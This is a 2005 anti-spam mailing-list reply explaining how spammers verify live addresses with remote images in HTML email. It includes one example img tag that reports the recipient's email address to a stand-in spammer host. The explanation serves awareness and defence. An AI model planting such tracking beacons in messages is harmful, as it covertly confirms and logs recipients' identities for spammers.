[SpamCop-List] Re: Mainsleaze Spam

[Steven Maesslein]

On Thu, 30 Jun 2005 18:45:42 +0100, Porpoise coughed into spamcop and 
left this in <da1b67$2sj$1 at news.spamcop.net>:

> So what you're saying now, is that he didn't inadvertantly click on 
> something, but that he received an email with an image in it that he 
> opened - thereby enabling the webserver that served the image to log his IP 
> address and attach it to his email address - thereby verifying that his 
> email address was "live"?

It's very easy to do in HTML.

The message would contain a tag similar to this:

<img src="http://spammersite.com/code_to_spit_the_image.php?email=sucker%40someisp.com">

-- 
Steve

I haven't lost my mind; I know exactly where I left it.